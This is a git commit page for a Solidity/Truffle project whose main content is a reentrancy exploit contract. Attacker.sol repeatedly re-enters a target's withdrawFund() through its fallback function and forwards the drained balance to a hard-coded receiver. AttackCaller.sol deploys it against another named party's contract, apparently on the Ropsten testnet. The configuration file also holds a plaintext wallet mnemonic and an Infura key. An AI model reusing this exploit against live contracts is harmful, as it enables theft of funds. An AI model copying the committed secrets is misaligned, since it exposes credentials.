Browse Source

init mycode

Ted 6 years ago
commit
8ed7545599

+ 2 - 0
.gitignore

@@ -0,0 +1,2 @@
+node_modules/
+build*/

+ 21 - 0
contracts/AttackCaller.sol

@@ -0,0 +1,21 @@
+pragma solidity ^0.4.18;
+import './Attacker.sol';
+import './Ownable.sol';
+
+contract AttackCaller is Ownable{
+    Attacker attacker;
+
+    //use the attacker from Meng, address is 0x960d1aa9b4e79b8e4fcf4e6853976cfa0b32697f
+    function init(address attackerAddress) public onlyOwner{
+        attacker = Attacker(attackerAddress);
+    }
+
+    //attack the contract from Dong, address is 0x2260d6b770afdc7695b7f000150bc2e9167d4241
+    function onAttack(address target, uint count) public onlyOwner{
+        attacker.attack(target,count);
+    }
+
+    function getBalance() public returns (uint) {
+        return attacker.getBalance();
+    }
+}

+ 26 - 0
contracts/Attacker.sol

@@ -0,0 +1,26 @@
+pragma solidity ^0.4.17;
+contract Attacker{
+    address receiver = 0x0d0ff5d76143d10c0a36ce58ac85c790417ed2ab; // Meng's address
+    uint stack = 0;
+    uint stackLimit = 10;
+
+    function attack(address target, uint count) {
+      stack = 0;
+      stackLimit = count;
+      target.call(bytes4(sha3("withdrawFund()")));
+    }
+
+    function() payable {
+      if(stack++ < stackLimit) {
+        msg.sender.call(bytes4(sha3("withdrawFund()")));
+      }
+    }
+
+    function withdraw() {
+      receiver.call.value(this.balance)();
+    }
+
+    function getBalance() public view returns (uint) {
+      return this.balance;
+    }
+}

+ 23 - 0
contracts/Migrations.sol

@@ -0,0 +1,23 @@
+pragma solidity ^0.4.17;
+
+contract Migrations {
+  address public owner;
+  uint public last_completed_migration;
+
+  modifier restricted() {
+    if (msg.sender == owner) _;
+  }
+
+  function Migrations() public {
+    owner = msg.sender;
+  }
+
+  function setCompleted(uint completed) public restricted {
+    last_completed_migration = completed;
+  }
+
+  function upgrade(address new_address) public restricted {
+    Migrations upgraded = Migrations(new_address);
+    upgraded.setCompleted(last_completed_migration);
+  }
+}

+ 41 - 0
contracts/Ownable.sol

@@ -0,0 +1,41 @@
+pragma solidity ^0.4.18;
+
+
+/**
+ * @title Ownable
+ * @dev The Ownable contract has an owner address, and provides basic authorization control
+ * functions, this simplifies the implementation of "user permissions".
+ */
+contract Ownable {
+  address public owner;
+
+
+  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
+
+
+  /**
+   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
+   * account.
+   */
+  function Ownable() public {
+    owner = msg.sender;
+  }
+
+  /**
+   * @dev Throws if called by any account other than the owner.
+   */
+  modifier onlyOwner() {
+    require(msg.sender == owner);
+    _;
+  }
+
+  /**
+   * @dev Allows the current owner to transfer control of the contract to a newOwner.
+   * @param newOwner The address to transfer ownership to.
+   */
+  function transferOwnership(address newOwner) public onlyOwner {
+    require(newOwner != address(0));
+    OwnershipTransferred(owner, newOwner);
+    owner = newOwner;
+  }
+}

+ 4 - 0
migrations/2_deploy_contracts.js

@@ -0,0 +1,4 @@
+var AttackCaller = artifacts.require("./AttackCaller.sol");
+module.exports = function(deployer) {
+  deployer.deploy(AttackCaller);
+};

File diff suppressed because it is too large
+ 2037 - 0
package-lock.json


+ 4 - 0
truffle-config.js

@@ -0,0 +1,4 @@
+module.exports = {
+  // See <http://truffleframework.com/docs/advanced/configuration>
+  // to customize your Truffle configuration!
+};

+ 33 - 0
truffle.js

@@ -0,0 +1,33 @@
+var HDWalletProvider = require("truffle-hdwallet-provider");
+var mnemonic = "all chunk subway drop another cat human element drastic crazy glance sense";
+module.exports = {
+  migrations_directory: "./migrations",
+  networks: {
+    development: {
+      host: "127.0.0.1",
+      port: 8545,
+      network_id: "*", // Match any network id
+      //from: "0xdC75EB0973F96b735087B6B2f20ef73595509354"
+    },
+    ropsten: {
+      // provider: function() {
+      //   return new HDWalletProvider(mnemonic, "https://ropsten.infura.io/btMU7XaHF8J9L2SYkqTA");
+      // },
+      provider: new HDWalletProvider(mnemonic, "https://ropsten.infura.io/btMU7XaHF8J9L2SYkqTA"),
+      gas: 2706583,
+      network_id: '3',
+    }
+  }
+
+
+  // See <http://truffleframework.com/docs/advanced/configuration>
+  // to customize your Truffle configuration!
+  // networks: {
+  //    development: {
+  //        host: "127.0.0.1",
+  //        port: 8545,
+  //        network_id: "*", // Match any network id
+  //        //from: "0xdC75EB0973F96b735087B6B2f20ef73595509354"
+  //        }
+  //    }
+};